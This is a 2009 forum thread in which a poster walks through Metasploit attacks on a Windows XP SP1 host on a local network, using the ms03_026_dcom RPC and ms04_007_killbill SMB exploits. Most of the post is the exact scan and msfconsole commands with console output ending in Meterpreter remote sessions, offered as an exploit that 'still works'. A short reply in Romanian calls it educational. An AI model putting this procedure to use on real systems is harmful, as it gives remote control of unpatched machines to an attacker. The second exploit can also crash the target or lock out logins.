Nytro Posted August 9, 2009 Report Posted August 9, 2009 this is an old exploit but still worksi have test it on Local Area Network herethis exploit tested on Windows XP Service Pack 1[o] DCOM RPC Exploit (ms03_026_dcom)# DescriptionThis module exploits a stack overflow in the RPCSS service, thisvulnerability was originally found by the Last Stage of Deliriumresearch group and has bee widely exploited ever since. This modulecan exploit the English versions of Windows NT 4.0 SP3-6a, Windows2000, Windows XP, and Windows 2003 all in one request root@ubuntu:~# ping 172.16.1.31PING 172.16.1.31 (172.16.1.31) 56(84) bytes of data.64 bytes from 172.16.1.31: icmp_seq=1 ttl=128 time=2.09 ms64 bytes from 172.16.1.31: icmp_seq=2 ttl=128 time=0.335 ms64 bytes from 172.16.1.31: icmp_seq=3 ttl=128 time=0.342 ms^C--- 172.16.1.31 ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2005msrtt min/avg/max/mdev = 0.335/0.922/2.091/0.826 msroot@ubuntu:~# nmap -O -PN 172.16.1.31Starting Nmap 4.62 ( http://nmap.org ) at 2009-06-21 09:56 WITInteresting ports on ******-******.kapukvalley.net (172.16.1.31):Not shown: 1710 closed portsPORT STATE SERVICE135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds1025/tcp open NFS-or-IIS5000/tcp open upnpMAC Address: 00:1C:F0:5A:98:AF (D-Link)Device type: general purposeRunning: Microsoft Windows 2000OS details: Microsoft Windows 2000 SP0/SP1/SP2 or Windows XP SP0/SP1Network Distance: 1 hopOS detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 1.860 secondsroot@ubuntu:~# cd /home/noge/pentest/metasploit/root@ubuntu:/home/noge/pentest/metasploit# ./msfconsole | | _) |__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|| | | __/ | ( |\__ \ | | | ( | | |_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| _| =[ msf v3.3-dev+ -- --=[ 378 exploits - 234 payloads+ -- --=[ 20 encoders - 7 nops =[ 154 auxmsf > use windows/dcerpc/ms03_026_dcommsf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcpPAYLOAD => windows/meterpreter/bind_tcpmsf exploit(ms03_026_dcom) > show optionsModule options:Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target addressRPORT 135 yes The target portPayload options (windows/meterpreter/bind_tcp):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, processLPORT 4444 yes The local port RHOST no The target address Exploit target:Id Name -- ---- 0 Windows NT SP3-6a/2000/XP/2003 Universalmsf exploit(ms03_026_dcom) > set RHOST 172.16.1.31RHOST => 172.16.1.31msf exploit(ms03_026_dcom) > set TARGET 0TARGET => 0msf exploit(ms03_026_dcom) > show optionsModule options:Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 172.16.1.31 yes The target addressRPORT 135 yes The target portPayload options (windows/meterpreter/bind_tcp):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, processLPORT 4444 yes The local port RHOST 172.16.1.31 no The target address Exploit target:Id Name -- ---- 0 Windows NT SP3-6a/2000/XP/2003 Universalmsf exploit(ms03_026_dcom) > exploit[*] Started bind handler[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:172.16.1.31[135] ...[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:172.16.1.31[135] ...[*] Sending exploit ...[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] The DCERPC service did not reply to our request[*] Sending stage (2650 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (75787 bytes)...[*] Upload completed.[*] Meterpreter session 1 opened (172.16.1.12:38423 -> 172.16.1.31:4444)meterpreter > pwdC:\WINDOWS\system32meterpreter > sysinfoComputer: ******-******OS : Windows XP (Build 2600, Service Pack 1).meterpreter >==========================================================================================================================================================================================[o] KILLBILL SMB Exploit (ms04_007_killbill)# DescriptionThis is an exploit for a previously undisclosed vulnerability in thebit string decoding code in the Microsoft ASN.1 library. Thisvulnerability is not related to the bit string vulnerabilitydescribed in eEye advisory AD20040210-2. Both vulnerabilities werefixed in the MS04-007 patch. You are only allowed one attempt withthis vulnerability. If the payload fails to execute, the LSASSsystem service will crash and the target system will automaticallyreboot itself in 60 seconds. If the payload succeeeds, the systemwill no longer be able to process authentication requests, denyingall attempts to login through SMB or at the console. A reboot isrequired to restore proper functioning of an exploited system. Thisexploit has been successfully tested with the win32/*/reverse_tcppayloads, however a few problems were encounted when using theequivalent bind payloads. Your mileage may vary.msf > use windows/smb/ms04_007_killbillmsf exploit(ms04_007_killbill) > set PAYLOAD windows/meterpreter/bind_tcpPAYLOAD => windows/meterpreter/bind_tcpmsf exploit(ms04_007_killbill) > show optionsModule options:Name Current Setting Required Description ---- --------------- -------- ----------- PROTO smb yes Which protocol to use: http or smbRHOST yes The target address RPORT 445 yes Set the SMB service port Payload options (windows/meterpreter/bind_tcp):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, processLPORT 4444 yes The local port RHOST no The target address Exploit target:Id Name -- ---- 0 Windows 2000 SP2-SP4 + Windows XP SP0-SP1msf exploit(ms04_007_killbill) > set RHOST 172.16.1.31RHOST => 172.16.1.31msf exploit(ms04_007_killbill) > show targetsExploit targets:Id Name -- ---- 0 Windows 2000 SP2-SP4 + Windows XP SP0-SP1msf exploit(ms04_007_killbill) > set TARGET 0TARGET => 0msf exploit(ms04_007_killbill) > show optionsModule options:Name Current Setting Required Description ---- --------------- -------- ----------- PROTO smb yes Which protocol to use: http or smbRHOST 172.16.1.31 yes The target address RPORT 445 yes Set the SMB service port Payload options (windows/meterpreter/bind_tcp):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, processLPORT 4444 yes The local port RHOST 172.16.1.31 no The target address Exploit target:Id Name -- ---- 0 Windows 2000 SP2-SP4 + Windows XP SP0-SP1msf exploit(ms04_007_killbill) > exploit[*] Started bind handler[*] Error: The server responded with error: STATUS_ACCESS_VIOLATION (Command=115 WordCount=0)[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] Sending stage (2650 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (75787 bytes)...[*] Upload completed.[*] Meterpreter session 3 opened (172.16.1.12:33484 -> 172.16.1.31:4444)meterpreter > sysinfoComputer: ******-******OS : Windows XP (Build 2600, Service Pack 1).meterpreter >by matthews Quote
adonisslanic Posted September 11, 2009 Report Posted September 11, 2009 Buna treaba Nytro... Eu sunt in ubuntu 9.04 Jaunty... si chiar sunt multumit de Metasploit si il folosesc in "echipa" cu Nessus si Nmap si totul merge ca uns... Este un mic cam veche faza care ai pus-o aici dar este foarte educativa pentru cei care vor sa exploreze tainele calculatoarelor Quote
